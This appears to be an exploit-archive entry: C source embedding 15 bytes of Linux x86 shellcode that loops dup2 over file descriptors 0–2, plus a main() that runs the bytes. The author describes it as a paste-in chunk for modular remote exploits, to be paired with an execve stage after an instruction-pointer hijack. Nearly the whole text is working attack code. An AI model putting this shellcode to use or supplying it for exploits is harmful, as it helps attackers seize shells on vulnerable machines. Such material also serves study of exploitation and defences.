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linux/x86 dup2(0,0); dup2(0,1); dup2(0,2); 15 bytes
[===================================================
linux/x86 dup2(0,0); dup2(0,1); dup2(0,2); 15 bytes
===================================================
/* dup2_loop-core.c by Charles Stevenson <core@bokeoa.com>
*
* I made this as a chunk you can paste in to make modular remote
* exploits. I usually combine this with an execve as the second
* stage of a read() jmp *%esp
*/
char hellcode[] = /* dup2(0,0); dup2(0,1); dup2(0,2); linux/x86 by core */
"\x31\xc9" // xor %ecx,%ecx
"\x56" // push %esi
"\x5b" // pop %ebx
// loop:
"\x6a\x3f" // push $0x3f
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x41" // inc %ecx
"\x80\xf9\x03" // cmp $0x3,%cl
"\x75\xf5" // jne 80483e8 <loop>
;
int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte dup2(0,0); dup2(0,1); dup2(0,2); linux/x86 by core\n",
strlen(hellcode));
shell();
return 0;
}
# 0day.today [2024-11-16] #